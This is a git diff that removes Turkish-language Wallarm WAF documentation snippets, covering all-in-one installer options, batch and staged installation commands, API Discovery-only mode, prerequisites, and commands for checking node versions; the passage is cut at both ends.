`--install-only` bayrağını kullanarak, betik gerekli dosyaları kopyalar ve düğümün çalışması için NGINX yapılandırmalarını değiştirir. Elle ayarlama yapmak isterseniz, `--skip-ngx-config` bayrağını kullanarak NGINX dosya değişikliklerini atlayabilirsiniz. -1. Cloud-init ile bir bulut örneğini (instance) başlatma: Örnek başlatma sırasında önyükleme aşaması (Cloud kaydı ve servis başlatma) cloud-init betikleriyle yürütülebilir. Bu aşama, oluşturma (build) aşamasında kopyalanan `/opt/wallarm/setup.sh` betiğine `--register-only` bayrağı uygulanarak oluşturma aşamasından bağımsız olarak çalıştırılabilir. - -Bu işlevsellik, hepsi bir arada kurucunun 4.10.0 sürümünden itibaren toplu modda desteklenir. Aşağıdaki komutlar, belirtilen adımların sıralı olarak yürütülmesini sağlar: - -=== "US Cloud" - ```bash - # x86_64 sürümü kullanılıyorsa: - curl -O https://meganode.wallarm.com/5.3/wallarm-5.3.19.x86_64-glibc.sh - sudo sh wallarm-5.3.19.x86_64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t -c US - - # ARM64 sürümü kullanılıyorsa: - curl -O https://meganode.wallarm.com/5.3/wallarm-5.3.19.aarch64-glibc.sh - sudo sh wallarm-5.3.19.aarch64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t -c US - ``` -=== "EU Cloud" - ``` - # x86_64 sürümü kullanılıyorsa: - curl -O https://meganode.wallarm.com/5.3/wallarm-5.3.19.x86_64-glibc.sh - sudo sh wallarm-5.3.19.x86_64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t - - # ARM64 sürümü kullanılıyorsa: - curl -O https://meganode.wallarm.com/5.3/wallarm-5.3.19.aarch64-glibc.sh - sudo sh wallarm-5.3.19.aarch64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t - ``` - -Son olarak, kurulumu tamamlamak için [Wallarm’ın trafiği analiz etmesini etkinleştirmeniz][enable-traffic-analysis-step] ve [NGINX’i yeniden başlatmanız][restart-nginx-step] gerekir. - -### Filtreleme ve postanalytics düğümlerinin ayrı kurulumu - -filtering/postanalytics anahtarı, postanalytics modülünü [ayrı][separate-postanalytics-installation-aio] kurma seçeneği sunar. Bu anahtar kullanılmadığında, filtreleme ve postanalytics bileşenleri varsayılan olarak birlikte kurulur. - -### Yalnızca API Discovery modu - -Düğümü API Discovery-only modunda kullanabilirsiniz (5.3.7 sürümünden itibaren mevcuttur). Bu modda, Düğüm’ün yerleşik mekanizmalarıyla tespit edilen ve ek yapılandırma gerektirenler (ör. kimlik bilgisi doldurma, API spesifikasyonu ihlali girişimleri ve denylist’e veya graylist’e alınmış IP’lerden gelen kötü amaçlı etkinlik) dahil saldırılar yerelde tespit edilir ve (etkinse) engellenir, ancak Wallarm Cloud’a aktarılmaz. Cloud’da saldırı verisi bulunmadığından, [Threat Replay Testing][threat-replay-testing-docs] çalışmaz. Whitelist’teki IP’lerden gelen trafiğe izin verilir. - -Bu arada, [API Discovery][api-discovery-docs], [API oturum takibi][api-sessions-docs] ve [güvenlik zafiyeti tespiti][vuln-detection-docs] tam işlevselliğini korur; ilgili güvenlik varlıklarını tespit eder ve görselleştirme için Cloud’a yükler. - -Bu mod, önce API envanterini gözden geçirmek ve hassas verileri belirlemek isteyen, ardından buna göre kontrollü saldırı verisi aktarımı planlayanlar içindir. Ancak saldırı verisi aktarımının devre dışı bırakılması nadirdir; çünkü Wallarm saldırı verilerini güvenli bir şekilde işler ve gerekirse [hassas saldırı verilerinin maskelenmesini][masking-sensitive-data-rule] sağlar. - -API Discovery-only modunu etkinleştirmek için: - -1. `/etc/wallarm-override/env.list` dosyasını oluşturun veya düzenleyin: - - ``` - sudo mkdir /etc/wallarm-override - sudo vim /etc/wallarm-override/env.list - ``` - - Aşağıdaki değişkeni ekleyin: - - ``` - WALLARM_APID_ONLY=true - ``` - -1. [Düğüm kurulum prosedürünü](#requirements) izleyin. - -API Discovery-only modu etkinleştirildiğinde, `/opt/wallarm/var/log/wallarm/wcli-out.log` günlüğü aşağıdaki mesajı döndürür: - -```json -{"level":"info","component":"reqexp","time":"2025-01-31T11:59:38Z","message":"requests export skipped (disabled)"} -``` \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one/launch-options.md b/include-tr/waf/installation/all-in-one/launch-options.md deleted file mode 100644 index d76110730c..0000000000 --- a/include-tr/waf/installation/all-in-one/launch-options.md +++ /dev/null @@ -1,121 +0,0 @@ -Hepsi bir arada betiği indirdiğiniz anda, aşağıdaki komutla yardım alabilirsiniz: - -``` -sudo sh ./wallarm-6.5.1.x86_64-glibc.sh -- -h -``` - -Bu da şunu döndürür: - -``` -... -Usage: setup.sh [options]... [arguments]... [filtering/postanalytics] - -OPTION DESCRIPTION --b, --batch Batch mode, non-interactive installation. - --install-only Initiates the first stage of the all-in-one installer in batch mode. Copies essential configurations, including files and binaries, and sets up NGINX for node installation, bypassing Cloud registration and activation. Requires --batch. - --skip-ngx-config Avoids automatic NGINX configuration changes that occur during the --install-only stage in batch mode, suitable for users who prefer manual adjustments later. When used with --install-only, it ensures only essential configurations are copied without altering NGINX settings. Requires --batch. - --register-only Initiates the second stage of the all-in-one installer in batch mode, completing the setup by registering the node in the Cloud and starting its service. Requires --batch. --t, --token TOKEN Node token, required in a batch mode. --c, --cloud CLOUD Wallarm Cloud, one of US/EU, default is EU, only used in a batch mode. --H, --host HOST Wallarm API address, for example, api.wallarm.com or us1.api.wallarm.com, only used in a batch mode. --P, --port PORT Wallarm API pot, for example, 443. - --no-ssl Disable SSL for Wallarm API access. - --no-verify Disable SSL certificates verification. --f, --force If there is a node with the same name, create a new instance. --h, --help - --version -``` - -### Toplu mod - -`--batch` seçeneği, betiğin gerekli yapılandırma seçeneklerini `--token` ve `--cloud` bayrakları ile, gerekirse `WALLARM_LABELS` ortam değişkeni üzerinden aldığı toplu (etkileşimsiz) modu tetikler. Bu modda, betik varsayılan modda olduğu gibi kullanıcıdan adım adım veri istemez; bunun yerine etkileşim için açık komutlar gerektirir. - -Aşağıda, betiği düğüm kurulumu için toplu modda çalıştırmaya yönelik komut örnekleri verilmiştir; betiğin daha önce [indirilmiş][download-aio-step] olduğu varsayılmaktadır: - -=== "ABD Cloud" - ```bash - # x86_64 sürümü kullanılıyorsa: - sudo env WALLARM_LABELS='group=' sh wallarm-6.5.1.x86_64-glibc.sh -- --batch -t -c US - - # ARM64 sürümü kullanılıyorsa: - sudo env WALLARM_LABELS='group=' sh wallarm-6.5.1.aarch64-glibc.sh -- --batch -t -c US - ``` -=== "AB Cloud" - ```bash - # x86_64 sürümü kullanılıyorsa: - sudo env WALLARM_LABELS='group=' sh wallarm-6.5.1.x86_64-glibc.sh -- --batch -t - - # ARM64 sürümü kullanılıyorsa: - sudo env WALLARM_LABELS='group=' sh wallarm-6.5.1.aarch64-glibc.sh -- --batch -t - ``` - -### Düğüm kurulum aşamalarının ayrı ayrı yürütülmesi - -Bulut altyapısı için hepsi bir arada yükleyiciyi kullanarak kendi makine imajınızı hazırlarken, bu makalede açıklanan standart kurulum süreci yeterli olmayabilir. Bunun yerine, makine imajı oluşturma ve dağıtım gereksinimlerini karşılamak için hepsi bir arada yükleyicinin belirli aşamalarını ayrı ayrı yürütmeniz gerekir: - -1. Makine imajını oluşturun: Bu aşamada, filtreleme düğümünün ikili dosyalarını, kütüphanelerini ve yapılandırma dosyalarını indirip bunlara dayalı bir makine imajı oluşturmak gerekir. `--install-only` bayrağını kullanarak, betik gerekli dosyaları kopyalar ve düğüm çalışması için NGINX yapılandırmalarını değiştirir. Elle düzenleme yapmak isterseniz, `--skip-ngx-config` bayrağıyla NGINX dosyası değişikliğini atlayabilirsiniz. -1. cloud-init ile bir bulut örneğini başlatın: Örnek başlatma sırasında, önyükleme aşaması (Cloud kaydı ve servisin başlatılması) cloud-init betikleri kullanılarak gerçekleştirilebilir. Bu aşama, oluşturma aşamasında kopyalanan `/opt/wallarm/setup.sh` betiğine `--register-only` bayrağı uygulanarak oluşturma aşamasından bağımsız olarak çalıştırılabilir. - -Bu işlevsellik, toplu modda hepsi bir arada yükleyicinin 4.10.0 sürümünden itibaren desteklenmektedir. Aşağıdaki komutlar, belirtilen adımların sıralı olarak yürütülmesini sağlar: - -=== "ABD Cloud" - ```bash - # x86_64 sürümü kullanılıyorsa: - curl -O https://meganode.wallarm.com/6.5/wallarm-6.5.1.x86_64-glibc.sh - sudo sh wallarm-6.5.1.x86_64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t -c US - - # ARM64 sürümü kullanılıyorsa: - curl -O https://meganode.wallarm.com/6.5/wallarm-6.5.1.aarch64-glibc.sh - sudo sh wallarm-6.5.1.aarch64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t -c US - ``` -=== "AB Cloud" - ``` - # x86_64 sürümü kullanılıyorsa: - curl -O https://meganode.wallarm.com/6.5/wallarm-6.5.1.x86_64-glibc.sh - sudo sh wallarm-6.5.1.x86_64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t - - # ARM64 sürümü kullanılıyorsa: - curl -O https://meganode.wallarm.com/6.5/wallarm-6.5.1.aarch64-glibc.sh - sudo sh wallarm-6.5.1.aarch64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t - ``` - -Son olarak, kurulumu tamamlamak için [Wallarm'ın trafiği analiz etmesini etkinleştirmeniz][enable-traffic-analysis-step] ve [NGINX'i yeniden başlatmanız][restart-nginx-step] gerekir. - -### Filtreleme ve postanalytics düğümlerinin ayrı kurulumu - -filtering/postanalytics anahtarı, postanalytics modülünü [ayrı][separate-postanalytics-installation-aio] kurma seçeneği sunar. Bu anahtar kullanılmadığında, varsayılan olarak filtreleme ve postanalytics bileşenleri birlikte kurulur. - -### Yalnızca API Discovery modu - -Düğümü Yalnızca API Discovery modunda (sürüm 5.3.7'den itibaren kullanılabilir) kullanabilirsiniz. Bu modda, saldırılar - Düğümün yerleşik mekanizmalarıyla tespit edilenler ve ek yapılandırma gerektirenler (ör. kimlik bilgisi doldurma, API spesifikasyonu ihlali girişimleri ve denylisted ile graylisted IP'lerden gelen kötü amaçlı etkinlik) - yerel olarak (etkinse) tespit edilir ve engellenir, ancak Wallarm Cloud'a aktarılmaz. Cloud'da saldırı verisi olmadığından, [Threat Replay Testing][threat-replay-testing-docs] çalışmaz. Whitelisted IP'lerden gelen trafik izinlidir. - -Bu arada, [API Discovery][api-discovery-docs], [API oturum takibi][api-sessions-docs] ve [güvenlik zafiyeti tespiti][vuln-detection-docs] tamamen işlevsel kalır, ilgili güvenlik varlıklarını tespit eder ve görselleştirme için Cloud'a yükler. - -Bu mod, önce API envanterini gözden geçirmek ve hassas verileri belirlemek, ardından kontrollü saldırı verisi aktarımı planlamak isteyenler içindir. Ancak saldırı aktarımını devre dışı bırakmak nadirdir; çünkü Wallarm saldırı verilerini güvenli şekilde işler ve gerekirse [hassas saldırı verilerinin maskelemesini][masking-sensitive-data-rule] sağlar. - -Yalnızca API Discovery modunu etkinleştirmek için: - -1. `/etc/wallarm-override/env.list` dosyasını oluşturun veya değiştirin: - - ``` - sudo mkdir /etc/wallarm-override - sudo vim /etc/wallarm-override/env.list - ``` - - Aşağıdaki değişkeni ekleyin: - - ``` - WALLARM_APID_ONLY=true - ``` - -1. [düğüm kurulum prosedürünü](#requirements) izleyin. - -Yalnızca API Discovery modu etkinleştirildiğinde, `/opt/wallarm/var/log/wallarm/wcli-out.log` günlüğü aşağıdaki mesajı verir: - -```json -{"level":"info","component":"reqexp","time":"2025-01-31T11:59:38Z","message":"requests export skipped (disabled)"} -``` \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one/separate-postanalytics-reqs.md b/include-tr/waf/installation/all-in-one/separate-postanalytics-reqs.md deleted file mode 100644 index 3c6d3d9ef0..0000000000 --- a/include-tr/waf/installation/all-in-one/separate-postanalytics-reqs.md +++ /dev/null @@ -1,5 +0,0 @@ -* Wallarm Console'da [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için **Administrator** rolüne sahip bir hesaba erişim -* Tüm komutların süper kullanıcı olarak (örn. `root`) yürütülmesi -* Hepsi bir arada Wallarm yükleyicisini indirmek için `https://meganode.wallarm.com` adresine erişim. Bu erişimin güvenlik duvarı tarafından engellenmediğinden emin olun -* US Wallarm Cloud ile çalışıyorsanız `https://us1.api.wallarm.com` adresine, EU Wallarm Cloud ile çalışıyorsanız `https://api.wallarm.com` adresine erişim. Erişim yalnızca proxy sunucusu üzerinden yapılandırılabiliyorsa, [talimatları][configure-proxy-balancer-instr] kullanın -* Kurulu bir metin düzenleyici: **vim**, **nano** veya başka biri. Bu makaledeki komutlarda **vim** kullanılır \ No newline at end of file diff --git a/include-tr/waf/installation/all-in-one/use-cases.md b/include-tr/waf/installation/all-in-one/use-cases.md deleted file mode 100644 index 24a47221e6..0000000000 --- a/include-tr/waf/installation/all-in-one/use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Desteklenen tüm [Wallarm dağıtım seçenekleri][platform] arasında, bu çözüm aşağıdaki **kullanım durumları** için önerilir: - -* Altyapınız, konteyner tabanlı yöntemler kullanılmadan bare metal veya sanal makineler üzerinde kuruludur. Genellikle, bu kurulumlar Ansible veya SaltStack gibi Kod Olarak Altyapı (IaC) araçlarıyla yönetilir. -* Hizmetleriniz NGINX etrafında inşa edilmiştir. Wallarm, hepsi bir arada yükleyici kullanarak işlevlerini genişletebilir. \ No newline at end of file diff --git a/include-tr/waf/installation/already-deployed-cloud-instance.md b/include-tr/waf/installation/already-deployed-cloud-instance.md deleted file mode 100644 index 54b9579d61..0000000000 --- a/include-tr/waf/installation/already-deployed-cloud-instance.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! info "Birden fazla Wallarm düğümü dağıtırsanız" - Ortamınıza dağıtılan tüm Wallarm düğümleri **aynı sürümde** olmalıdır. Ayrı sunuculara kurulan postanalytics modülleri de **aynı sürümde** olmalıdır. - - Ek bir düğümü kurmadan önce, sürümünün hâlihazırda dağıtılmış modüllerin sürümüyle eşleştiğinden emin olun. Dağıtılan modül sürümü [kullanımdan kaldırılmış ya da yakında kullanımdan kaldırılacaksa (`4.0` veya altı)][versioning-policy], tüm modülleri en son sürüme yükseltin. - - Çalışmakta olan sürümü kontrol etmek için, çalışan örneğe bağlanın ve aşağıdaki komutu çalıştırın: - - ``` - apt list wallarm-node - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/already-deployed-envoy-docker-image.md b/include-tr/waf/installation/already-deployed-envoy-docker-image.md deleted file mode 100644 index 196ae3b457..0000000000 --- a/include-tr/waf/installation/already-deployed-envoy-docker-image.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! info "Birden fazla Wallarm node dağıtıyorsanız" - Ortamınıza dağıtılmış tüm Wallarm node'lar **aynı sürümde** olmalıdır. Ayrı sunuculara kurulmuş postanalytics modülleri de **aynı sürümde** olmalıdır. - - Ek node'u kurmadan önce, sürümünün halihazırda dağıtılmış modüllerin sürümüyle eşleştiğinden emin olun. Dağıtılmış modül sürümü [kullanımdan kaldırılmış veya yakında kaldırılacak (`4.0` veya daha düşük)][versioning-policy] ise, tüm modülleri en son sürüme yükseltin. - - Yüklü sürümü kontrol etmek için, konteyner içinde aşağıdaki komutu çalıştırın: - - ```bash - yum list wallarm-node - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/already-deployed-nginx-docker-image.md b/include-tr/waf/installation/already-deployed-nginx-docker-image.md deleted file mode 100644 index 42c894cc9f..0000000000 --- a/include-tr/waf/installation/already-deployed-nginx-docker-image.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! info "Birden fazla Wallarm düğümü dağıtırsanız" - Ortamınıza dağıtılan tüm Wallarm düğümleri **aynı sürümlerde** olmalıdır. Ayrı sunuculara kurulan postanalytics modülleri de **aynı sürümlerde** olmalıdır. - - Ek düğümü kurmadan önce, sürümünün halihazırda dağıtılmış modüllerin sürümüyle eşleştiğinden emin olun. Dağıtılan modül sürümü [kullanımdan kaldırılmışsa veya yakında kaldırılacaksa (`4.0` veya daha düşük)][versioning-policy], tüm modülleri en son sürüme yükseltin. - - Yüklü sürümü kontrol etmek için, konteyner içinde aşağıdaki komutu çalıştırın: - - ```bash - apt list wallarm-node - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/already-deployed-sidecar-helm.md b/include-tr/waf/installation/already-deployed-sidecar-helm.md deleted file mode 100644 index 0aeddd42eb..0000000000 --- a/include-tr/waf/installation/already-deployed-sidecar-helm.md +++ /dev/null @@ -1,6 +0,0 @@ -!!! info "Birden fazla Wallarm düğümü dağıtırsanız" - Ortamınıza dağıtılan tüm Wallarm düğümlerinin **aynı sürümde** olması gerekir. Ayrı sunuculara kurulan postanalytics modülleri de **aynı sürümde** olmalıdır. - - Ek düğümün kurulumundan önce, sürümünün halihazırda dağıtılmış modüllerin sürümüyle eşleştiğinden emin olun. Dağıtılmış modül sürümü [kullanımdan kaldırılmış veya yakında kaldırılacak (`4.0` veya daha düşük)][versioning-policy] ise, tüm modülleri en son sürüme yükseltin. - - Dağıtılan Wallarm filtreleme düğümü imajının sürümü Helm chart yapılandırma dosyasında belirtilir → `wallarm.image.tag`. \ No newline at end of file diff --git a/include-tr/waf/installation/already-deployed-sidecar-manifests.md b/include-tr/waf/installation/already-deployed-sidecar-manifests.md deleted file mode 100644 index 48b9042f24..0000000000 --- a/include-tr/waf/installation/already-deployed-sidecar-manifests.md +++ /dev/null @@ -1,6 +0,0 @@ -!!! info "Birden fazla Wallarm düğümü dağıtırsanız" - Ortamınıza dağıtılan tüm Wallarm düğümleri **aynı sürümlerde** olmalıdır. Ayrı sunuculara kurulan postanalytics modülleri de **aynı sürümlerde** olmalıdır. - - Ek düğümün kurulumundan önce, sürümünün halihazırda dağıtılmış modüllerin sürümüyle eşleştiğinden emin olun. Dağıtılmış modül sürümü [kullanımdan kaldırılmışsa veya yakında kaldırılacaksa (`4.0` veya daha düşük)][versioning-policy], tüm modülleri en son sürüme yükseltin. - - Dağıtılan Wallarm filtreleme düğümü imajının sürümü, Deployment şablonunda → `spec.template.spec.containers` bölümünde → Wallarm konteynerinin `image` alanında belirtilir. \ No newline at end of file diff --git a/include-tr/waf/installation/already-installed-waf-postanalytics-36.md b/include-tr/waf/installation/already-installed-waf-postanalytics-36.md deleted file mode 100644 index 7543e298bb..0000000000 --- a/include-tr/waf/installation/already-installed-waf-postanalytics-36.md +++ /dev/null @@ -1,54 +0,0 @@ -!!! info "Birden fazla Wallarm düğümü dağıtıyorsanız" - Ortamınıza dağıtılan tüm Wallarm düğümleri **aynı sürümde** olmalıdır. Ayrı sunuculara kurulu postanalytics modülleri de **aynı sürümde** olmalıdır. - - Ek düğümü kurmadan önce, sürümünün halihazırda dağıtılmış modüllerin sürümüyle eşleştiğinden emin olun. Dağıtılmış modül sürümü [kullanım dışı bırakılmışsa veya yakında bırakılacaksa (`4.0` veya altı)][versioning-policy], tüm modülleri en son sürüme yükseltin. - - Aynı sunucuya kurulu filtreleme düğümü ve postanalytics'in yüklü sürümünü kontrol etmek için: - - === "Debian" - ```bash - apt list wallarm-node - ``` - === "Ubuntu" - ```bash - apt list wallarm-node - ``` - === "CentOS veya Amazon Linux 2.0.2021x ve daha düşük" - ```bash - yum list wallarm-node - ``` - === "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - yum list wallarm-node - ``` - - Farklı sunuculara kurulu filtreleme düğümü ve postanalytics sürümlerini kontrol etmek için: - - === "Debian" - ```bash - # Wallarm filtreleme düğümünün kurulu olduğu sunucudan çalıştırın - apt list wallarm-node-nginx - # postanalytics'in kurulu olduğu sunucudan çalıştırın - apt list wallarm-node-tarantool - ``` - === "Ubuntu" - ```bash - # Wallarm filtreleme düğümünün kurulu olduğu sunucudan çalıştırın - apt list wallarm-node-nginx - # postanalytics'in kurulu olduğu sunucudan çalıştırın - apt list wallarm-node-tarantool - ``` - === "CentOS veya Amazon Linux 2.0.2021x ve daha düşük" - ```bash - # Wallarm filtreleme düğümünün kurulu olduğu sunucudan çalıştırın - yum list wallarm-node-nginx - # postanalytics'in kurulu olduğu sunucudan çalıştırın - yum list wallarm-node-tarantool - ``` - === "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - # Wallarm filtreleme düğümünün kurulu olduğu sunucudan çalıştırın - yum list wallarm-node-nginx - # postanalytics'in kurulu olduğu sunucudan çalıştırın - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/already-installed-waf-postanalytics-distr-36.md b/include-tr/waf/installation/already-installed-waf-postanalytics-distr-36.md deleted file mode 100644 index 3ebc1009e5..0000000000 --- a/include-tr/waf/installation/already-installed-waf-postanalytics-distr-36.md +++ /dev/null @@ -1,43 +0,0 @@ -!!! info "Birden fazla Wallarm düğümü dağıtıyorsanız" - Ortamınıza dağıtılan tüm Wallarm düğümleri aynı sürümde olmalıdır. Ayrı sunuculara kurulmuş postanalytics modülleri de aynı sürümde olmalıdır. - - Ek düğümü kurmadan önce, sürümünün halihazırda dağıtılmış modüllerin sürümüyle eşleştiğinden emin olun. Dağıtılmış modül sürümü [kullanım dışı ya da yakında kullanım dışı bırakılacak (`4.0` veya daha düşük)][versioning-policy] ise, tüm modülleri en son sürüme yükseltin. - - Aynı sunucuya kurulu filtreleme düğümünün ve postanalytics modülünün sürümünü kontrol etmek için: - - === "Debian" - ```bash - apt list wallarm-node - ``` - === "CentOS" - ```bash - yum list wallarm-node - ``` - === "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - yum list wallarm-node - ``` - - Farklı sunuculara kurulu filtreleme düğümü ve postanalytics modülünün sürümünü kontrol etmek için: - - === "Debian" - ```bash - # Wallarm filtreleme düğümünün kurulu olduğu sunucudan çalıştırın - apt list wallarm-node-nginx - # postanalytics'in kurulu olduğu sunucudan çalıştırın - apt list wallarm-node-tarantool - ``` - === "CentOS" - ```bash - # Wallarm filtreleme düğümünün kurulu olduğu sunucudan çalıştırın - yum list wallarm-node-nginx - # postanalytics'in kurulu olduğu sunucudan çalıştırın - yum list wallarm-node-tarantool - ``` - === "AlmaLinux, Rocky Linux veya Oracle Linux 8.x" - ```bash - # Wallarm filtreleme düğümünün kurulu olduğu sunucudan çalıştırın - yum list wallarm-node-nginx - # postanalytics'in kurulu olduğu sunucudan çalıştırın - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/already-installed-waf-postanalytics-distr.md b/include-tr/waf/installation/already-installed-waf-postanalytics-distr.md deleted file mode 100644 index 319e47804a..0000000000 --- a/include-tr/waf/installation/already-installed-waf-postanalytics-distr.md +++ /dev/null @@ -1,32 +0,0 @@ -!!! info "Birden fazla Wallarm düğümü dağıtıyorsanız" - Ortamınıza dağıtılan tüm Wallarm düğümleri **aynı sürümlerde** olmalıdır. Ayrı sunuculara kurulan postanalytics modülleri de **aynı sürümlerde** olmalıdır. - - Ek düğümün kurulumundan önce, sürümünün halihazırda dağıtılmış modüllerin sürümüyle eşleştiğinden emin olun. Dağıtılmış modül sürümü [kullanım dışı bırakılmış veya yakında kullanım dışı bırakılacak (`4.0` veya daha düşük)][versioning-policy] ise, tüm modülleri en son sürüme yükseltin. - - Aynı sunucuya dağıtılmış filtreleme düğümünün ve postanalytics modülünün sürümünü kontrol etmek için: - - === "Debian" - ```bash - apt list wallarm-node - ``` - === "CentOS" - ```bash - yum list wallarm-node - ``` - - Farklı sunuculara dağıtılmış filtreleme düğümü ve postanalytics modülünün sürümünü kontrol etmek için: - - === "Debian" - ```bash - # Wallarm filtreleme düğümünün kurulu olduğu sunucudan çalıştırın - apt list wallarm-node-nginx - # postanalytics'in kurulu olduğu sunucudan çalıştırın - apt list wallarm-node-tarantool - ``` - === "CentOS" - ```bash - # Wallarm filtreleme düğümünün kurulu olduğu sunucudan çalıştırın - yum list wallarm-node-nginx - # postanalytics'in kurulu olduğu sunucudan çalıştırın - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/already-installed-waf-postanalytics-kong.md b/include-tr/waf/installation/already-installed-waf-postanalytics-kong.md deleted file mode 100644 index 76ef6fa4d2..0000000000 --- a/include-tr/waf/installation/already-installed-waf-postanalytics-kong.md +++ /dev/null @@ -1,43 +0,0 @@ -!!! info "Birden fazla Wallarm düğümü dağıtırsanız" - Ortamınıza dağıtılan tüm Wallarm düğümleri **aynı sürümde** olmalıdır. Ayrı sunuculara kurulan postanalytics modülleri de **aynı sürümde** olmalıdır. - - Ek düğümün kurulumundan önce, sürümünün halihazırda dağıtılmış modüllerin sürümüyle eşleştiğinden emin olun. Dağıtılmış modül sürümü [kullanımdan kaldırılmışsa veya yakında kaldırılacaksa (`4.0` veya daha düşük)][versioning-policy], tüm modülleri en son sürüme yükseltin. - - Aynı sunucuya dağıtılmış filtreleme düğümünün ve postanalytics modülünün sürümünü kontrol etmek için: - - === "Debian" - ```bash - apt list wallarm-node - ``` - === "Ubuntu" - ```bash - apt list wallarm-node - ``` - === "CentOS" - ```bash - yum list wallarm-node - ``` - - Farklı sunuculara dağıtılmış filtreleme düğümünün ve postanalytics modülünün sürümünü kontrol etmek için: - - === "Debian" - ```bash - # Wallarm filtreleme düğümünün kurulu olduğu sunucudan çalıştırın - apt list wallarm-node-nginx - # postanalytics'in kurulu olduğu sunucudan çalıştırın - apt list wallarm-node-tarantool - ``` - === "Ubuntu" - ```bash - # Wallarm filtreleme düğümünün kurulu olduğu sunucudan çalıştırın - apt list wallarm-node-nginx - # postanalytics'in kurulu olduğu sunucudan çalıştırın - apt list wallarm-node-tarantool - ``` - === "CentOS" - ```bash - # Wallarm filtreleme düğümünün kurulu olduğu sunucudan çalıştırın - yum list wallarm-node-nginx - # postanalytics'in kurulu olduğu sunucudan çalıştırın - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/already-installed-waf-postanalytics.md b/include-tr/waf/installation/already-installed-waf-postanalytics.md deleted file mode 100644 index 8939436b89..0000000000 --- a/include-tr/waf/installation/already-installed-waf-postanalytics.md +++ /dev/null @@ -1,43 +0,0 @@ -!!! info "Birden fazla Wallarm düğümü dağıtıyorsanız" - Ortamınıza dağıtılan tüm Wallarm düğümleri **aynı sürümde** olmalıdır. Ayrı sunuculara kurulan postanalytics modülleri de **aynı sürümde** olmalıdır. - - Ek bir düğüm kurmadan önce, sürümünün halihazırda dağıtılmış modüllerin sürümüyle eşleştiğinden emin olun. Dağıtılan modül sürümü [artık desteklenmiyor veya yakında destekten kalkacaksa (`4.0` veya daha düşük)][versioning-policy], tüm modülleri en son sürüme yükseltin. - - Aynı sunucuya kurulu filtreleme düğümü ve postanalytics'in yüklü sürümünü kontrol etmek için: - - === "Debian" - ```bash - apt list wallarm-node - ``` - === "Ubuntu" - ```bash - apt list wallarm-node - ``` - === "CentOS veya Amazon Linux 2.0.2021x ve daha düşük" - ```bash - yum list wallarm-node - ``` - - Farklı sunuculara kurulu filtreleme düğümü ve postanalytics'in sürümlerini kontrol etmek için: - - === "Debian" - ```bash - # Wallarm filtreleme düğümünün kurulu olduğu sunucudan çalıştırın - apt list wallarm-node-nginx - # postanalytics'in kurulu olduğu sunucudan çalıştırın - apt list wallarm-node-tarantool - ``` - === "Ubuntu" - ```bash - # Wallarm filtreleme düğümünün kurulu olduğu sunucudan çalıştırın - apt list wallarm-node-nginx - # postanalytics'in kurulu olduğu sunucudan çalıştırın - apt list wallarm-node-tarantool - ``` - === "CentOS veya Amazon Linux 2.0.2021x ve daha düşük" - ```bash - # Wallarm filtreleme düğümünün kurulu olduğu sunucudan çalıştırın - yum list wallarm-node-nginx - # postanalytics'in kurulu olduğu sunucudan çalıştırın - yum list wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-tr/waf/installation/basic-reqs-for-upgrades.md b/include-tr/waf/installation/basic-reqs-for-upgrades.md deleted file mode 100644 index 422818c72b..0000000000 --- a/include-tr/waf/installation/basic-reqs-for-upgrades.md +++ /dev/null @@ -1,5 +0,0 @@ -* Wallarm Console'da, [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) üzerinde **Administrator** rolüne sahip hesaba erişim -* US Wallarm Cloud ile çalışıyorsanız `https://us1.api.wallarm.com`, EU Wallarm Cloud ile çalışıyorsanız `https://api.wallarm.com` adresine erişim. Lütfen bu erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun -* Saldırı tespit kuralları ve API spesifikasyonları güncellemelerini indirmek ve ayrıca [allowlisted, denylisted, or graylisted][ip-lists-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP'leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" \ No newline at end of file diff --git a/include-tr/waf/installation/cdn-node/cdn-node-configuration-options.md b/include-tr/waf/installation/cdn-node/cdn-node-configuration-options.md deleted file mode 100644 index 107e091d4d..0000000000 --- a/include-tr/waf/installation/cdn-node/cdn-node-configuration-options.md +++ /dev/null @@ -1,6 +0,0 @@ -* [Trafik filtreleme modunun yapılandırılması][operation-mode-rule-docs] -* [Trafik filtreleme kurallarının özelleştirilmesi][rules-docs] -* [IP adreslerinin izin listesine, engel listesine ve gri listeye alınması][ip-lists-docs] -* [DevOps araçlarıyla yerel 